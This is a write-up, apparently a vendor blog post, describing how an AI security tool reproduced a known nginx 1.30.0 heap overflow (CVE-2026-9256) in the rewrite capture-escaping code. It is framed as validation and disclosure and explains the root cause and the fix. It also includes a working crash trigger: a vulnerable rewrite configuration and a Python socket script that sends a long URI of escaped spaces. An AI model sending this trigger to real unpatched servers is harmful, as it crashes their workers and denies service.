Drost rediscovered nginx-poolslip and proved it with ASAN
Validating AI vulnerability research with a sanitizer-confirmed crash
I pointed Drost at nginx release-1.30.0 as a known-answer validation target.
The goal was not to claim a new nginx vulnerability. The goal was simpler and more important for the product: could an AI vulnerability researcher read a real C codebase, reason from source to sink, build the target with sanitizers, generate a working trigger, and produce a crash receipt?
Known-answer runs are how we test whether the system can reproduce real vulnerabilities without overclaiming novelty.
It did.
Drost independently reasoned to a heap-buffer-overflow in nginx's HTTP rewrite/script engine, built nginx with ASAN/UBSAN, generated a local proof of concept, and reproduced a sanitizer-confirmed crash in:
ngx_escape_uri
<- ngx_http_script_copy_capture_code
<- ngx_http_rewrite_handlerThe issue matches the known/fixed nginx overlapping-capture rewrite bug sometimes referred to as nginx-poolslip / CVE-2026-9256. Again: this is not a new CVE claim. It is a known-answer validation of Drost.
Public advisory: CVE-2026-9256 / nginx-poolslip
That distinction matters. The point of Drost is not to emit plausible vulnerability prose. The point is to produce receipts.
A grep hit is not a finding. A model hunch is not a finding. A finding requires a receipt.
For native targets, the receipt is a sanitizer-confirmed crash. For application targets, it is a proof from the real configured runtime.
What Drost is
Drost is a proof-gated AI vulnerability research system.
It reads a target codebase, reasons across call paths, forms exploit hypotheses, tests them against the right proof target, and records only evidence-backed findings.
The validation rule is deliberately simple: Drost must connect source-level reasoning to a concrete proof, and only evidence-backed results are recorded. For C/C++ targets, that means sanitizer-confirmed crashes. For web/application targets, proof must come from the configured real app runtime.
This nginx run was the first native known-answer check: a real codebase, a real bug, and a hard sanitizer gate.
The target
Target:
https://github.com/nginx/nginx.git @ release-1.30.0The validation scope was constrained to nginx's HTTP rewrite module and request/URI parsing paths, with the acceptance bar set to a sanitizer-confirmed crash before anything could be treated as a finding.
The target is interesting because nginx is mature C infrastructure. Finding a memory-corruption path in code like this is not a matter of grepping for memcpy. You have to understand the semantics of request parsing, rewrite compilation, capture groups, buffer sizing, and URI escaping.
That is the kind of work Drost is meant to do.
The source-level hypothesis
Drost focused on the rewrite/script path:
src/http/modules/ngx_http_rewrite_module.csrc/http/ngx_http_script.csrc/core/ngx_string.c
The key asymmetry it found was between length reservation and actual copy.
In ngx_http_script_regex_start_code(), nginx has a fast path where code->lengths == NULL. In that path, the destination buffer length is reserved roughly as:
e->buf.len = code->size
+ 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len, NGX_ESCAPE_ARGS)
+ sum(raw capture lengths);The important detail: the URI escape expansion is counted once for the whole URI.
Later, in ngx_http_script_copy_capture_code(), nginx copies each referenced capture. When the request URI contains characters that need escaping, each capture is escaped independently:
ngx_http_script_copy_capture_code
-> ngx_escape_uri(... capture ...)That matters because regex captures can overlap.
For example:
rewrite ^/((.*))$ http://localhost/$1$2 redirect;For a URI made of escaped spaces, both $1 and $2 can cover the same underlying bytes. The allocation path accounts for URI escaping once. The copy path escapes the overlapping capture region twice.
That is the bug shape:
overlapping captures + escaped URI + redirect replacement using both captures
-> length undercount
-> buffer too small
-> escaped copy writes past allocationDrost wrote down the hypothesis before testing it:
If a rewrite directive references overlapping numeric captures in a redirect replacement, and the request URI contains bytes that require escaping, the
lengths == NULLfast path may under-reserve the destination buffer because it charges URI escaping once while the copy path escapes each referenced capture independently.
That is the difference between a useful vulnerability hypothesis and a suspicious code smell. The hypothesis names the source, the sink, the broken invariant, and the expected failure mode.
The proof
Drost built nginx release-1.30.0 with ASAN/UBSAN.
It then created a minimal nginx configuration:
worker_processes 1;
daemon off;
master_process off;
error_log /tmp/nx/logs/error.log crit;
pid /tmp/nx/logs/nginx.pid;
events {
worker_connections 64;
}
http {
access_log off;
server {
listen 127.0.0.1:8899;
location / {
rewrite ^/((.*))$ http://localhost/$1$2 redirect;
}
}
}Then it sent a request whose URI was / followed by 2,000 repetitions of %20:
import socket
uri = "/" + "%20" * 2000
req = "GET " + uri + " HTTP/1.0\r\nHost: localhost\r\n\r\n"
s = socket.socket()
s.connect(("127.0.0.1", 8899))
s.sendall(req.encode())
s.close()ASAN reported a heap-buffer-overflow:
==48587==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1 at 0x625000004851 thread T0
#0 ngx_escape_uri ngx_string.c:1689
#1 ngx_http_script_copy_capture_code ngx_http_script.c:1399
#2 ngx_http_rewrite_handler ngx_http_rewrite_module.c:180
#3 ngx_http_core_rewrite_phase ngx_http_core_module.c:950
#4 ngx_http_core_run_phases ngx_http_core_module.c:896
#5 ngx_http_process_request_headers ngx_http_request.c:1566
0x625000004851 is located 0 bytes after 8017-byte region
[0x625000002900,0x625000004851)
allocated by thread T0 here:
#1 ngx_alloc ngx_alloc.c:22
#2 ngx_palloc_large ngx_palloc.c:220
#3 ngx_http_script_regex_start_code ngx_http_script.c:1179This is the receipt.
The allocation was 8,017 bytes. The copy path wrote past the end of that allocation while escaping overlapping captures.
Drost treated the finding as confirmed only after the sanitizer crash reproduced under the generated proof case.
No crash, no finding.
Why the overflow happens
The request URI is percent-encoded:
/%20%20%20...nginx decodes %20 to spaces in r->uri and marks the URI as quoted. When producing a redirect target, the spaces must be escaped back to %20.
With this regex:
^/((.*))$$1 and $2 overlap. They both cover the same repeated-space region.
With this replacement:
http://localhost/$1$2nginx emits both captures.
The reservation path effectively does:
literal size
+ whole-URI escape expansion once
+ raw length of $1
+ raw length of $2But the copy path does:
literal
+ escaped($1)
+ escaped($2)So the overlapping bytes are escaped twice during copy, but the escape expansion was only budgeted once during allocation.
In the run Drost produced, the result was roughly:
reserved: ~8,017 bytes
written: ~12,017 bytes
overflow: ~4,000 bytesASAN caught the write at exactly the end of the 8,017-byte region.
Impact
This is a remotely triggerable nginx worker crash when a server uses a vulnerable rewrite/redirect pattern with overlapping capture references.
At minimum, the impact is denial of service against the worker process. The overflow length and content are attacker-influenced, because they derive from the request URI and escaping behavior. That makes the bug a candidate for deeper memory-corruption exploitation analysis, although this validation stopped at sanitizer-confirmed crash proof.
The important product point is not exploit weaponization. The important product point is that Drost moved from source reasoning to a working crash.
The fix shape
A clean fix is to make the length reservation match the copy semantics.
If captures are copied and escaped independently, the reservation must account for per-capture escaping as well. In nginx terms, the optimized lengths == NULL path should not charge the whole-URI escape expansion once when the replacement can reference overlapping captures that will be escaped separately.
The non-fast-path capture length helper already computes per-capture escaping:
ngx_http_script_copy_capture_len_codeThe fast path needs the same semantic accounting or needs to avoid the optimization when it cannot safely prove captures do not overlap in an escaping redirect context.
Why this was a useful validation
This run mattered because it tested the exact bar Drost is designed around.
A weak AI security tool can produce a plausible explanation of why some C code might be dangerous. That is not enough.
Drost had to connect source-level reasoning with a concrete proof: inspect the relevant rewrite/script code, identify a length-accounting invariant, build nginx with sanitizers, craft a realistic redirect configuration, generate a trigger, and reproduce the crash.
That is the public bar: reason from code to a testable hypothesis, then prove it against the relevant runtime before calling it a finding.
This is why I call Drost an agentic vulnerability researcher, not AI SAST.
Static analyzers are good at surfacing suspicious paths. Drost is built around a different question:
Can the agent turn source understanding into a working, evidence-backed proof?
In this nginx run, the answer was yes.
The product lesson
After this validation and later application-target work, the durable lesson was that an AI vulnerability researcher should be judged by external evidence, not by how convincing its explanation sounds.
Source reasoning is useful only when it leads to a reproducible crash or runtime demonstration. The system can be creative while forming hypotheses, but the acceptance bar should stay blunt and measurable.
For native targets, the boundary is ASAN/UBSAN. For app targets, the boundary is the real runtime. In both cases, the rule is the same:
No receipt, no finding.
Notes on disclosure and novelty
This writeup is a known-answer validation, not a fresh disclosure. The issue was already fixed upstream after release-1.30.0.
I am publishing it because known-answer tests are how you calibrate vulnerability research agents without overclaiming. If an agent cannot reproduce known real bugs under a hard proof gate, it has no business claiming novel ones.
The standard I want for Drost is simple:
- honest when a bug is known;
- quiet when a theory is unproven;
- loud only when there is a receipt.
This run passed that standard.
Appendix: minimal reproduction summary
Target:
nginx release-1.30.0Configuration:
location / {
rewrite ^/((.*))$ http://localhost/$1$2 redirect;
}Trigger shape:
GET / + 2000 x "%20"Crash:
AddressSanitizer: heap-buffer-overflow
WRITE in ngx_escape_uri
called from ngx_http_script_copy_capture_code
allocation in ngx_http_script_regex_start_code
0 bytes after 8017-byte heap regionRoot cause:
length reservation counts URI escaping once;
copy path escapes each overlapping capture independently;
overlapping captures make the output larger than the allocated buffer.Drost is a persistent AI security engineer.
If you want Drost run against your own code or application surface under written authorization and rules of engagement, reach out through drost.ai.